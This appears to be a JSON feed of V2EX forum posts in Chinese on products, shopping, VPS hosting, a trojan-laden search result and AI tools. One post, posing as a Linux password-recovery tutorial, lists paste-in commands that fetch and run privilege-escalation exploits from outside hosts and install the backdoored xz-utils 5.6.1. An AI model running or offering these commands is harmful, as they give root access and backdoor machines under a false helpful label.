{
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      "title": "\u4ece product hunt \u4e0a\u53d1\u73b0\u7684\u4e00\u4e9b idea", 
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      "date_published": "2026-05-19T07:00:52+00:00", 
      "content_html": "<p>\u4eca\u5929\u62ff\u6211\u7684 Hermes \uff0c\u505a\u4e86\u4e2a\u9488\u5bf9 product hunt \u7684\u673a\u4f1a\u53d1\u73b0\u96f7\u8fbe\uff0c \u6838\u5fc3\u7684\u5224\u65ad\u6307\u6807\u662f </p>\n<ul>\n<li>\u7ade\u4e89\u5bc6\u5ea6: [\u7ade\u54c1\u540d + \u6570\u5b57]</li>\n<li>\u7a97\u53e3\u5224\u65ad: \ud83d\udfe2\ud83d\udfe1\ud83d\udd34</li>\n<li>\u7a97\u53e3\u539f\u56e0: [1 \u53e5\u8bdd\uff0c\u4e3a\u4ec0\u4e48\u662f\u73b0\u5728]</li>\n<li>SEO \u6f5c\u529b</li>\n<li>MVP \u96be\u5ea6</li>\n<li>\u5546\u4e1a\u5316\u6f5c\u529b</li>\n<li>\u5dee\u5f02\u5316\u5207\u89d2: [\u505a\u4ec0\u4e48 + \u4e3a\u4ec0\u4e48\u7ade\u54c1\u6321\u4e0d\u4f4f]</li>\n</ul>\n<p>\u4ee5\u4e0b\u662f\u96f7\u8fbe\u7ed9\u51fa\u7684 3 \u4e2a\u65b9\u5411\uff1a</p>\n<h3>1. SocLeads 3.0 \u2014 \u793e\u5a92+\u5730\u56fe\u6279\u91cf\u90ae\u7bb1\u6293\u53d6 \ud83d\udfe1</h3>\n<ul>\n<li><strong>URL:</strong> <a href=\"https://www.producthunt.com/posts/socleads-3-0\" rel=\"nofollow\">https://www.producthunt.com/posts/socleads-3-0</a></li>\n<li><strong>\u6838\u5fc3\u529f\u80fd:</strong> \u6309\u5173\u952e\u8bcd/hashtag/\u5730\u7406\u4f4d\u7f6e\u4ece Instagram \u3001Facebook \u3001LinkedIn \u3001YouTube \u3001Google Maps \u6279\u91cf\u6293\u53d6\u90ae\u7bb1\uff0c\u5185\u7f6e\u90ae\u7bb1\u9a8c\u8bc1\u4fdd bounce rate &lt; 3%</li>\n<li><strong>AI \u6a21\u5f0f:</strong> AI wrapper \uff08\u6709 ChatGPT API \u96c6\u6210\u7528\u4e8e\u90ae\u7bb1\u9a8c\u8bc1\u548c\u6e05\u6d17\uff0c\u4f46\u4e3b\u4f53\u662f\u4f20\u7edf\u6570\u636e\u722c\u53d6\u5de5\u5177\uff09</li>\n<li><strong>\u7ade\u4e89\u5bc6\u5ea6:</strong> <a href=\"http://Apollo.io\" rel=\"nofollow\">Apollo.io</a> \u3001Lemlist \u3001<a href=\"http://Hunter.io\" rel=\"nofollow\">Hunter.io</a> \u3001<a href=\"http://Snov.io\" rel=\"nofollow\">Snov.io</a> \u7b49\u6210\u719f\u73a9\u5bb6\u62e5\u6324\uff0c\u4f46 SocLeads \u5207\u7684\u662f\u300c\u6309\u5730\u7406\u4f4d\u7f6e+\u793e\u5a92\u7ec4\u5408\u300d\u7684\u7ec6\u5206</li>\n<li><strong>\u7a97\u53e3\u5224\u65ad:</strong> \ud83d\udfe1 \u5feb\u5173\u95ed</li>\n<li><strong>\u7a97\u53e3\u539f\u56e0:</strong> \u793e\u5a92\u53cd\u722c\u9010\u5e74\u52a0\u5f3a\uff0cGoogle Maps scraping \u6cd5\u5f8b\u7070\u8272\u5730\u5e26\u3002\u8fd9\u4e2a\u54c1\u7c7b\u662f\u300c\u8d81\u8fd8\u6ca1\u88ab\u5e73\u53f0\u5c01\u6b7b\u524d\u8d5a\u94b1\u300d\u7684\u6e38\u620f</li>\n<li><strong>SEO \u6f5c\u529b:</strong> \u4e2d\u7b49\u3002\u6709\u957f\u5c3e\uff08\"scrape emails from Instagram by location\"\uff09\uff0c\u4f46\u5de8\u5934\u5df2\u5360\u6ee1\u5934\u90e8\u5173\u952e\u8bcd</li>\n<li><strong>MVP \u96be\u5ea6:</strong> \u4e2d\u9ad8\u3002\u722c\u866b + \u53cd\u53cd\u722c + \u90ae\u7bb1\u9a8c\u8bc1 API \u96c6\u6210\uff0c\u4e0d\u662f\u65b0\u624b\u80fd\u505a\u7684</li>\n<li><strong>\u5546\u4e1a\u5316\u6f5c\u529b:</strong> \u8ba2\u9605\u5236\u5df2\u9a8c\u8bc1\uff08 SocLeads \u5df2\u6709 1500+ PH followers \uff0c4 \u6b21 launch \uff09</li>\n<li><strong>\u5dee\u5f02\u5316\u5207\u89d2:</strong> \u300c\u6309\u56fd\u5bb6/\u5730\u533a\u7ea7\u5730\u7406\u4f4d\u7f6e + \u793e\u5a92\u5e73\u53f0\u4ea4\u53c9\u7b5b\u9009\u300d\u2014\u2014 \u7ade\u54c1\u8986\u76d6\u9762\u5e7f\u4f46\u4e0d\u6df1\uff0cSocLeads \u5207\u7684\u662f\u4f4d\u7f6e\u7cbe\u51c6\u8fd9\u4e2a\u7ec6\u5206\u3002\u95ee\u9898\uff1a\u8fd9\u53ea\u662f\u4e00\u4e2a feature \uff0c\u4e0d\u662f moat</li>\n</ul>\n<hr/>\n<h3>2. Triggered Agents by Adaptive \u2014 \u4e8b\u4ef6\u9a71\u52a8 AI \u81ea\u52a8\u5316\u5e73\u53f0 \ud83d\udfe2</h3>\n<ul>\n<li><strong>URL:</strong> <a href=\"https://www.producthunt.com/posts/triggered-agents-by-adaptive\" rel=\"nofollow\">https://www.producthunt.com/posts/triggered-agents-by-adaptive</a></li>\n<li><strong>\u6838\u5fc3\u529f\u80fd:</strong> \u628a AI agent \u6302\u5230\u4e1a\u52a1\u5de5\u5177\u7684\u4e8b\u4ef6\u4e0a\uff08 CRM webhook \u3001Slack message \u3001stripe event \u7b49\uff09\uff0c\u4e8b\u4ef6\u89e6\u53d1\u65f6 agent \u81ea\u52a8\u6267\u884c</li>\n<li><strong>AI \u6a21\u5f0f:</strong> <strong>AI worker</strong> \u2705\uff08\u4e8b\u4ef6\u9a71\u52a8/\u81ea\u52a8\u6267\u884c/\u957f\u671f\u540e\u53f0\u8fd0\u884c/\u4eba\u5ba1\u6279\u4f8b\u5916\uff09</li>\n<li><strong>\u7ade\u4e89\u5bc6\u5ea6:</strong> Zapier AI \u3001n8n AI nodes \u3001<a href=\"http://Make.com\" rel=\"nofollow\">Make.com</a> AI \u3002\u4f46\u90fd\u662f\u300c\u4eba\u5efa workflow + AI \u589e\u5f3a\u300d\uff0cTriggered Agents \u662f\u300c AI \u81ea\u5df1\u51b3\u5b9a\u4f55\u65f6+\u5982\u4f55\u6267\u884c\u300d</li>\n<li><strong>\u7a97\u53e3\u5224\u65ad:</strong> \ud83d\udfe2 \u8fd8\u5f00\u7740</li>\n<li><strong>\u7a97\u53e3\u539f\u56e0:</strong> Zapier/n8n \u7684 AI \u53ea\u662f workflow \u91cc\u7684\u4e00\u4e2a node \uff0cTriggered Agents \u7684\u601d\u8def\u662f agent \u5373 workflow\u2014\u2014\u8fd9\u4e2a\u67b6\u6784\u8303\u5f0f\u8f6c\u79fb\u624d\u521a\u5f00\u59cb\uff0c1 \u5e74\u524d LLM \u4e0d\u591f\u53ef\u9760\uff0c1 \u5e74\u540e\u5de8\u5934\u4f1a\u8ffd\u4e0a</li>\n<li><strong>SEO \u6f5c\u529b:</strong> \u9ad8\u3002\"event-driven AI agent\"\u3001\"automated AI workflow\"\u3001\"AI agent trigger\" \u7b49\u5173\u952e\u8bcd\u641c\u7d22\u91cf\u6b63\u5728\u4e0a\u5347</li>\n<li><strong>MVP \u96be\u5ea6:</strong> \u4e2d\u3002\u6838\u5fc3\u662f webhook \u63a5\u5165 + prompt \u6a21\u677f + LLM \u8c03\u7528\uff0cinfra \u76f8\u5bf9\u8f7b\u3002\u4f46\u4ece Adaptive \u662f\u516c\u53f8\u800c\u975e\u4e2a\u4eba\u4ea7\u54c1\u770b\uff0c\u9700\u8981\u7684\u96c6\u6210\u751f\u6001\u6bd4\u770b\u8d77\u6765\u91cd</li>\n<li><strong>\u5546\u4e1a\u5316\u6f5c\u529b:</strong> \u8ba2\u9605\u5236\u5929\u7136\u9002\u5408\uff08\u6309 agent \u6570/\u89e6\u53d1\u6b21\u6570\u6536\u8d39\uff09\u3002\u4e70\u5355\u65b9=\u53d7\u76ca\u65b9\u5bf9\u9f50\uff08\u5c0f\u56e2\u961f\u8001\u677f\u4e70\u7ed9\u81ea\u5df1\u7528\uff0c\u66ff\u4ee3\u7684\u662f\u81ea\u5df1\u7684\u4eba\u5de5\u64cd\u4f5c\uff09</li>\n<li><strong>\u5dee\u5f02\u5316\u5207\u89d2:</strong> \u300c Agent-first, not workflow-first \u300d\u2014\u2014 \u7ade\u54c1\u662f workflow builder + AI node \uff0c\u4f60\u7684\u662f AI agent \u66ff\u4ee3 workflow builder \u3002\u8fd9\u4e2a\u5dee\u5f02\u5316\u6709\u65b9\u5411\u6027\u4f18\u52bf</li>\n</ul>\n<hr/>\n<h3>3. LandingHero AI \u2014 \u7f51\u7ad9 AI \u9500\u552e\u5458 \ud83d\udfe1</h3>\n<ul>\n<li><strong>URL:</strong> <a href=\"https://www.producthunt.com/posts/landinghero-ai\" rel=\"nofollow\">https://www.producthunt.com/posts/landinghero-ai</a></li>\n<li><strong>\u6838\u5fc3\u529f\u80fd:</strong> 24/7 \u5d4c\u5165\u7f51\u7ad9\u7684 AI chatbot \uff0c\u5145\u5f53\u9500\u552e\u8f6c\u5316</li>\n<li><strong>AI \u6a21\u5f0f:</strong> AI wrapper \uff08\u4eba\u8bbe prompt \u2192 AI \u56de\u7b54\u8bbf\u5ba2\u95ee\u9898 \u2192 \u4eba\u5de5\u770b transcript \u3002\u672c\u8d28\u8fd8\u662f chatbot + \u77e5\u8bc6\u5e93\uff09</li>\n<li><strong>\u7ade\u4e89\u5bc6\u5ea6:</strong> \u6781\u9ad8\u3002Intercom Fin \u3001Tidio \u3001Chatbase \u3001SiteGPT \u3001CustomGPT... \u4e00\u4e2a\u6708\u53ef\u80fd\u6709 20 \u4e2a\u540c\u7c7b\u4ea7\u54c1\u4e0a PH \u3002PH \u53ea\u6709 4 upvotes \u8bf4\u660e\u7528\u6237\u5ba1\u7f8e\u75b2\u52b3</li>\n<li><strong>\u7a97\u53e3\u5224\u65ad:</strong> \ud83d\udd34 \u5df2\u5173\u95ed</li>\n<li><strong>\u7a97\u53e3\u539f\u56e0:</strong> 2023-2024 \u5e74\u7a97\u53e3\u30022026 \u5e74\u8fd9\u4e2a\u54c1\u7c7b\u5df2\u7ecf\u548c\u300c\u5efa\u7ad9\u5de5\u5177\u300d\u4e00\u6837\u5377\uff0c\u5dee\u5f02\u5316\u9760\u9500\u552e\u80fd\u529b\u800c\u975e\u4ea7\u54c1</li>\n<li><strong>SEO \u6f5c\u529b:</strong> \u4f4e\u3002\"AI chatbot for website\" \u88ab\u5927\u5382+VC \u70e7\u94b1\u5360\u6ee1</li>\n<li><strong>MVP \u96be\u5ea6:</strong> \u4f4e\uff08\u505a\u4e2a demo \u5bb9\u6613\uff0c\u505a\u51fa\u6709\u7528\u7684\u5f88\u96be\u2014\u2014\u771f\u6b63\u7684\u5dee\u5f02\u5316\u5728\u9500\u552e\u8f6c\u5316\u7387\u4f18\u5316\uff0c\u9700\u8981\u5927\u91cf\u5ba2\u6237\u6570\u636e\u8fed\u4ee3\uff09</li>\n<li><strong>\u5546\u4e1a\u5316\u6f5c\u529b:</strong> \u4f4e\u3002\u7ade\u54c1\u592a\u591a\uff0c\u4ef7\u683c\u6218\uff0cCAC \u9ad8</li>\n<li><strong>\u5dee\u5f02\u5316\u5207\u89d2:</strong> \u6ca1\u6709\u53ef\u89c1\u7684\u5dee\u5f02\u3002\u9664\u975e\u5207\u4e00\u4e2a\u5782\u76f4\u884c\u4e1a\uff08\u5982\u300c\u4e13\u4e3a SaaS \u5b9a\u4ef7\u9875\u4f18\u5316\u7684 AI \u9500\u552e\u5458\u300d+ \u884c\u4e1a\u4e13\u5c5e objection handling \uff09\uff0c\u5426\u5219\u4e0d\u503c\u5f97\u78b0</li>\n</ul>\n<p>\u5b8c\u6574\u7684\u62a5\u544a\u6211\u4e5f\u653e\u5728\u4e86\u8fd9\u91cc\n<a href=\"https://mp.weixin.qq.com/s/yKmieiGTEaDwcmOJM1Uj9A\" rel=\"nofollow\">https://mp.weixin.qq.com/s/yKmieiGTEaDwcmOJM1Uj9A</a></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Damn", 
        "name": "Damn", 
        "avatar": "https://cdn.v2ex.com/gravatar/11c75c59eda7e91d605308d0664053bb?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213809", 
      "title": "\u8305\u53f0 app \u679c\u771f\u667a\u969c", 
      "id": "https://www.v2ex.com/t/1213809", 
      "date_published": "2026-05-19T06:36:51+00:00", 
      "content_html": "\u84dd\u5382\u7684\u624b\u673a\u4e0a\u54ea\u89e3\u9501\u53bb\uff1f<br />\u667a\u969c\u5224\u5b9a\u3002\u3002\u3002<br /><a target=\"_blank\" href=\"https://i.imgur.com/aW74YJl.jpeg\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/aW74YJl.jpeg\" class=\"embedded_image\" rel=\"noreferrer\"></a>"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/loading", 
        "name": "loading", 
        "avatar": "https://cdn.v2ex.com/avatar/7aee/26c3/2719_large.png?m=1720319172"
      }, 
      "url": "https://www.v2ex.com/t/1213777", 
      "title": "PDD \u5927\u5b57\u7248\u4e0d\u4f1a\u51fa\u73b0\u90e8\u5206\u4f18\u60e0\u5165\u53e3", 
      "id": "https://www.v2ex.com/t/1213777", 
      "date_published": "2026-05-19T05:05:15+00:00", 
      "content_html": "<p>\u5f20\u5927\u5988\u63a8\u8350\u5728 PDD \u641c\u7d22\u201c\u8d85\u7ea7\u6ee1 j\u201d\uff0c\u641c\u7d22\u7ed3\u679c\u9876\u90e8\u4f1a\u51fa\u73b0\u5165\u53e3\uff0c\u6211\u641c\u4e86\u540e\u53d1\u73b0\u6211\u7684\u5e76\u6ca1\u6709\uff0c\u4ee5\u4e3a\u6211\u7684\u53f7\u9ed1\u4e86\uff0c\u6362\u8001\u5a46\u7684\u624b\u673a\u4e70\u4e86\u3002</p>\n<p>\u521a\u7a81\u7136\u60f3\u4f1a\u4e0d\u4f1a\u662f\u5927\u5b57\u7248\u7684\u539f\u56e0\uff0c\u5173\u95ed\u540e\uff0c\u679c\u7136\uff0c\u8001\u5e74\u4eba\u4e0d\u9700\u8981\u4f18\u60e0\u5238\u3002</p>\n<p>\u53d1\u51fa\u6765\u63d0\u9192\u4e00\u4e0b\u5404\u4f4d\u3002</p>\n<p>ps:\u5b89\u5353\u7248\u7528\u5927\u5b57\u7248\u548c\u666e\u901a\u7248\u5929\u5dee\u5730\u522b\uff0c\u5927\u5b57\u7248\u6ca1\u591a\u4f59\u5e72\u6270\uff0c\u901f\u5ea6\u641c\u7d22\u7684\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/poorcai", 
        "name": "poorcai", 
        "avatar": "https://cdn.v2ex.com/avatar/bab8/abf4/190048_large.png?m=1779159586"
      }, 
      "url": "https://www.v2ex.com/t/1213734", 
      "title": "RackNerd \u8981\u5c06 DC02 \u8fc1\u79fb\u5230 DC03 \u4e86", 
      "id": "https://www.v2ex.com/t/1213734", 
      "date_published": "2026-05-19T03:00:25+00:00", 
      "content_html": "<a target=\"_blank\" href=\"https://i.imgur.com/BSvT4UO.png\" rel=\"nofollow noopener\" target=\"_blank\"><img src=\"https://i.imgur.com/BSvT4UO.png\" class=\"embedded_image\" rel=\"noreferrer\"></a><br /><br /><br />\u770b\u8bba\u575b\u91cc\u597d\u50cf\u6ca1\u4eba\u53d1\uff1f<br /><br />\u6211\u672c\u6765\u5728 DC02 \u4e0a\u7528\u4e00\u4e9b\u5e73\u53f0\u8fd8\u633a\u597d\u7684\uff0cIP \u867d\u7136\u4e0d\u662f\u7279\u522b\u5e72\u51c0\uff0c\u4f46\u603b\u4f53\u4e0a\u8fd8\u662f\u901a\u6740\u7684\u3002<br /><br />\u8fd8\u7528\u8fd9\u4e2a IP \u517b\u4e86\u597d\u957f\u65f6\u95f4\u7684\u5404\u4e2a\u7f8e\u533a\u5e73\u53f0\uff0c\u73b0\u5728\u7a81\u7136\u6362\u4e86\u4f1a\u4e0d\u4f1a\u5f71\u54cd\u5e73\u53f0\u8d26\u53f7\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/summerLast", 
        "name": "summerLast", 
        "avatar": "https://cdn.v2ex.com/avatar/35b0/b52c/168296_large.png?m=1723798607"
      }, 
      "url": "https://www.v2ex.com/t/1213691", 
      "date_modified": "2026-05-19T01:40:53+00:00", 
      "content_html": "<p>\u521a\u624d\u7528 hermes \u914d\u5408\u672c\u5730\u6a21\u578b qwen3.5 9B + openwalk skils \uff0c\u6d4b\u8bd5\u4e86\u51e0\u7ec4\u529f\u80fd\uff0c\u7a81\u7136\u60f3\u8d77\u6765\u770b\u770b\u80fd\u4e0d\u80fd\u770b v2ex,\u7ed3\u679c\u662f\u80fd\u770b\uff0c\u8fd8\u4e0d\u9519\uff1b\u7f8e\u4e2d\u4e0d\u8db3\uff0c\u5c31\u662f\u672c\u5730\u6709\u70b9\u6162</p>\n", 
      "date_published": "2026-05-19T01:40:30+00:00", 
      "title": "\u4f6c\u4eec\uff0c\u7528 hermes \u5728 qq \u4e0a\u770b v2\uff0c\u6548\u679c\u5c45\u7136\u8fd8\u4e0d\u9519\uff0c\u672c\u5730\u6a21\u578b\uff0c\u672c\u5730\u5de5\u5177", 
      "id": "https://www.v2ex.com/t/1213691"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/MagicCoder", 
        "name": "MagicCoder", 
        "avatar": "https://cdn.v2ex.com/avatar/c735/cd24/538620_large.png?m=1778433299"
      }, 
      "url": "https://www.v2ex.com/t/1213683", 
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      "title": "\u4e00\u673a\u591a\u5f00\u62d6\u673a\u8f6f\u4ef6 Aster \u6709\u4eba\u7528\u8fc7\u5417\uff0c\u6709\u652f\u6301 win10/11 \u7684\u514d\u8d39\u7248\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1213346", 
      "date_published": "2026-05-17T12:39:54+00:00", 
      "content_html": "\u8fd9\u4e2a\u8f6f\u4ef6\u786e\u5b9e\u5f88\u597d\u7528\uff0c\u6211\u628a\u5bb6\u91cc\u7684\u7535\u8111\uff0c\u8fde\u4e86\u4e09\u4e2a\u5c4f\u5e55\uff0c\u81ea\u5df1\u4e00\u4e2a\u505a\u505a\u5f00\u53d1\uff0c\u8001\u5a46\u4e00\u4e2a\u770b\u770b\u5267\uff0c\u513f\u5b50\u4e00\u4e2a\u6253\u6e38\u620f\uff0c\u6bd4\u865a\u62df\u673a\u7701\u8d44\u6e90\u591a\u4e86\u3002<a target=\"_blank\" href=\"https://www.bilibili.com/video/BV1tT42117LQ\" rel=\"nofollow noopener\">https://www.bilibili.com/video/BV1tT42117LQ</a><br /><br />\u4f46\u662f\u8bd5\u7528\u671f\u53ea\u80fd\u7528 14 \u5929\uff0c\u7f51\u4e0a\u6709\u6539\u65f6\u95f4\u5ef6\u957f\u4f7f\u7528\u7684\u65b9\u6848\uff0c\u4f46\u662f\u5f88\u4e0d\u65b9\u4fbf\uff0c\u4f1a\u5f71\u54cd\u4e0a\u7f51\u3002\u4ed8\u8d39\u7248\u7684\u8bdd\uff0c\u4e09\u7528\u6237\u7684\u5927\u6982\u5f97\u8981\u5c06\u8fd1 400 \u5757\uff0c\u592a\u8d35\u4e86\u3002<br /><br />\u4eca\u5929\u8c37\u6b4c\u641c\u4e86\u4e0b\uff0c\u6709\u4e2a AsterForever \u7684\u63d2\u4ef6\uff08 <a target=\"_blank\" href=\"https://www.asterforever.abrdns.com\" rel=\"nofollow noopener\">https://www.asterforever.abrdns.com</a>)\uff0c\u5b98\u7f51\u4ecb\u7ecd\u8bf4\u53ef\u4ee5\u4e0d\u7528\u6539\u65f6\u95f4\uff0c5 \u5200\u7684\u4ef7\u683c\u8fd8\u53ef\u4ee5\u63a5\u53d7\uff0c\u4f46\u662f\u5f97\u7528 USDT \u4ed8\u6b3e\uff0c\u4e0d\u77e5\u9053\u548b\u641e\uff0c\u4e5f\u4e0d\u77e5\u9053\u9760\u4e0d\u9760\u8c31\uff0c\u6709\u5927\u4f6c\u641e\u8fc7\u5417\uff1f\u80fd\u5206\u4eab\u4e0b\u4e0d\uff1f"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/lawted", 
        "name": "lawted", 
        "avatar": "https://cdn.v2ex.com/avatar/b66d/5627/610751_large.png?m=1778808525"
      }, 
      "url": "https://www.v2ex.com/t/1213278", 
      "title": "10 \u5206\u949f\u6d4b\u51fa\u4f60\u7684 ai native \u7b49\u7ea7\uff0c\u4ece\u592f\u5230\u62c9\u3002", 
      "id": "https://www.v2ex.com/t/1213278", 
      "date_published": "2026-05-17T04:52:24+00:00", 
      "content_html": "<p><a href=\"http://rank.ha7ch.com\" rel=\"nofollow\">rank.ha7ch.com</a></p>\n<p>\u9707\u64bc\u9996\u53d1\uff0c\u5168\u7403\u72ec\u521b\u3002\u771f\u7684\u80fd\u591f\u6d4b\u51fa\u4f60\u6709\u591a AI native \u7684\u6d4b\u8bc4\uff0c\u4f18\u79c0\u7684\u592f\u540c\u5b66\u5c06\u53c2\u52a0 Ha7ch \u7684\u9996\u6b21 \u7ebf\u4e0b meetup. \u5317\u4e0a\u5e7f\u6df1\uff0c\u897f\u96c5\u56fe\uff0cSF \uff0c\u6ce2\u58eb\u987f\uff0c\u7ebd\u7ea6\ud83e\udd20</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Persimmon08", 
        "name": "Persimmon08", 
        "avatar": "https://cdn.v2ex.com/gravatar/b222621d08221a9689d46ed8d765a137?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213227", 
      "title": "Google \u641c\u7d22\u6296\u97f3\u201c\u6c7d\u6c34\u97f3\u4e50\u201d\u7b2c\u4e00\u6761\u662f\u6728\u9a6c\u75c5\u6bd2", 
      "id": "https://www.v2ex.com/t/1213227", 
      "date_published": "2026-05-16T16:17:47+00:00", 
      "content_html": "<ul>\n<li>\n<p>\u4ece\u8fd9\u4e2a\u7f51\u7ad9\u4e0b\u8f7d\u6296\u97f3\u6c7d\u6c34\u97f3\u4e50 windows \u538b\u7f29\u5305\uff0c\u89e3\u538b\u7f29\u8fc7\u7a0b\u4e2d windows \u5b89\u5168\u4e2d\u5fc3\u63d0\u793a\u662f\u7279\u6d1b\u4f0a\u6728\u9a6c\u75c5\u6bd2\uff0c\u6211\u8fd8\u50bb\u4e4e\u4e4e\u7684\u89e3\u538b\u7f29\u4e86\u4e24\u6b21\uff0c\u4e0d\u8fc7\u4e07\u5e78\u90fd\u963b\u6b62\u9694\u79bb\u4e86\u3002\u8fd0\u884c Microsoft Defender \u8131\u673a\u7248\u626b\u63cf\u4e86\u4e00\u4e0b\uff0c\u4e07\u5e78\u6ca1\u4e2d\u62db\u3002</p>\n</li>\n<li>\n<p>\u5176\u5b9e\u4e4b\u524d\u793e\u533a\u5c31\u63d0\u793a\u8fc7\u8c37\u6b4c\u641c\u7d22\u7b2c\u4e00\u6761\u4e5f\u4f1a\u6709\u5047\u7f51\u7ad9\uff0c\u4e4b\u524d telegram \u548c z-library \u90fd\u51fa\u73b0\u8fc7\uff0c\u6ca1\u60f3\u5230\u9632\u4e0d\u80dc\u9632\u554a\u3002</p>\n</li>\n</ul>\n<p>@\u6296\u97f3\u540c\u5b66\u4eec\uff0c\u8fd9\u4e2a\u4f60\u4eec\u80fd\u4e0d\u80fd\u6295\u8bc9\u5904\u7406\u4e00\u4e0b\u554a</p>\n<p><img alt=\"\u9644\u68c0\u7d22\u7ed3\u679c\u622a\u56fe\" class=\"embedded_image\" loading=\"lazy\" referrerpolicy=\"no-referrer\" rel=\"noreferrer\" src=\"https://i.imgur.com/xJ7XsRK.png\"/></p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/longxinglink", 
        "name": "longxinglink", 
        "avatar": "https://cdn.v2ex.com/gravatar/5f8b8438d13f53795ba4c6db08e1afeb?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1213200", 
      "title": "[\u8f6c\u8f7d] Linux \u627e\u56de\u5bc6\u7801\u6559\u7a0b\uff0c\u5efa\u8bae\u6536\u85cf\uff01", 
      "id": "https://www.v2ex.com/t/1213200", 
      "date_published": "2026-05-16T11:48:53+00:00", 
      "content_html": "<ol>\n<li>\n<p>Linux \u627e\u56de\u5bc6\u7801\u6559\u7a0b\uff0c\u5efa\u8bae\u6536\u85cf\uff01\ncurl <a href=\"https://copy.fail/exp\" rel=\"nofollow\">https://copy.fail/exp</a> | python3 &amp;&amp; su\npasswd root\n\u8bbe\u7f6e\u4f60\u7684\u65b0\u5bc6\u7801</p>\n</li>\n<li>\n<p>\u4f60\u7684 Linux \u5bc6\u7801\u53c8\u5fd8\u4e86\uff1f\n\u6ca1\u5173\u7cfb\uff0c\u8fd9\u91cc\u8fd8\u6709\u4e00\u4e2a\u65b0\u7684\uff01\ngit clone <a href=\"https://github.com/V4bel/dirtyfrag.git&amp;&amp;\" rel=\"nofollow\">https://github.com/V4bel/dirtyfrag.git&amp;&amp;</a> cd dirtyfrag &amp;&amp; gcc -O0 -Wall -o exp exp.c -lutil &amp;&amp; ./exp</p>\n</li>\n<li>\n<p>\u4e0d\u60f3\u518d\u5fd8\u8bb0\u5bc6\u7801\u4e86\uff1f\n\u6211\u4eec\u6709\u4e13\u4e1a\u7684\u9ed1\u5ba2\u56e2\u961f\u5e2e\u60a8\u8fd0\u7ef4\u670d\u52a1\u5668\u548c\u4fdd\u7ba1\u5bc6\u7801\uff01\n\u9879\u76ee\u5730\u5740: <a href=\"https://github.com/tukaani-project/xz/tree/v5.6.1\" rel=\"nofollow\">https://github.com/tukaani-project/xz/tree/v5.6.1</a>\nsudo apt install xz-utils=5.6.1-1\nsudo systemctl restart ssh</p>\n</li>\n<li>\n<p>\u5bb9\u6613\u5fd8\u8bb0\u5bc6\u7801\u7684\u6709\u798f\u4e86\uff0c\u6bcf\u5929\u90fd\u6709\u65b0\u529e\u6cd5\uff01\n<a href=\"https://ze3tar.github.io/post-zcrx.html\" rel=\"nofollow\">https://ze3tar.github.io/post-zcrx.html</a>\n\u63d2\u5165\u4e00\u4e2a\u652f\u6301 ZCRX \u7684\u9ad8\u7aef\u7f51\u5361\uff0c\u8ba9\u5b83 down \u6389\uff0c\u7136\u540e ptr_ring drain + scrub loop \u91cd\u590d\u5165\u6808\u628a free_count \u5199\u6ea2\u51fa\u5373\u53ef</p>\n</li>\n<li>\n<p>\u4ec0\u4e48\uff0c\u4f60\u4e70\u4e0d\u8d77\u9ad8\u7aef\u7f51\u5361\uff1f\u90a3\u8bd5\u8bd5\u8fd9\u4e2a\u5427\uff01\ngit clone <a href=\"https://github.com/v12-security/pocs.git&amp;&amp;\" rel=\"nofollow\">https://github.com/v12-security/pocs.git&amp;&amp;</a> cd pocs/fragnesia &amp;&amp; gcc -o exp fragnesia.c &amp;&amp; ./exp</p>\n</li>\n<li>\n<p>\u542c\u8bf4\u60a8\u7684\u673a\u623f\u4e0d\u5141\u8bb8 ssh \u5916\u8fde\uff0c\u53ea\u80fd\u901a\u8fc7 KVM \u7269\u7406\u8bbf\u95ee\u670d\u52a1\u5668? \u6ca1\u5173\u7cfb\uff0c\u6211\u4eec\u7684\u4e13\u4e1a\u9ed1\u5ba2\u56e2\u961f\u4e5f\u53ef\u4ee5\u901a\u8fc7 nginx \u5e2e\u52a9\u8fd0\u7ef4\u60a8\u7684\u670d\u52a1\u5668\uff01\n<a href=\"https://depthfirst.com/nginx-rift\" rel=\"nofollow\">https://depthfirst.com/nginx-rift</a></p>\n</li>\n<li>\n<p>\u539f\u6765\u60a8\u662f Mac \u7528\u6237? \u6ca1\u5173\u7cfb\uff0cMacBook \u4e5f\u53ef\u4ee5\uff01\nFirst public macOS kernel memory corruption exploit on Apple M5: <a href=\"https://blog.calif.io/p/first-public-kernel-memory-corruption\" rel=\"nofollow\">https://blog.calif.io/p/first-public-kernel-memory-corruption</a>\n\u8fd9\u662f\u9996\u4e2a\u516c\u5f00\u7684 M5 \u5185\u6838\u5185\u5b58\u7834\u574f\u5229\u7528\u3002Apple \u82b1\u8d39\u4e94\u5e74\u6784\u5efa MIE \u4ee5\u963b\u6b62\u6b64\u7c7b\u653b\u51fb\uff0c\u4f46\u7ed3\u679c\u8bf4\u660e AI \u4e0e\u4e13\u5bb6\u534f\u4f5c\u53ef\u5feb\u901f\u7a81\u7834\u9876\u7ea7\u9632\u5fa1\u3002</p>\n</li>\n</ol>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/yu180", 
        "name": "yu180", 
        "avatar": "https://cdn.v2ex.com/avatar/ad46/f742/667181_large.png?m=1779163465"
      }, 
      "url": "https://www.v2ex.com/t/1213196", 
      "title": "\u4e00\u4e2a\u6781\u7b80\u7684\u5bfc\u822a\u7ad9\uff0c\u53ea\u9700\u8981\u6709 cf \u5c31\u80fd\u90e8\u7f72", 
      "id": "https://www.v2ex.com/t/1213196", 
      "date_published": "2026-05-16T11:21:23+00:00", 
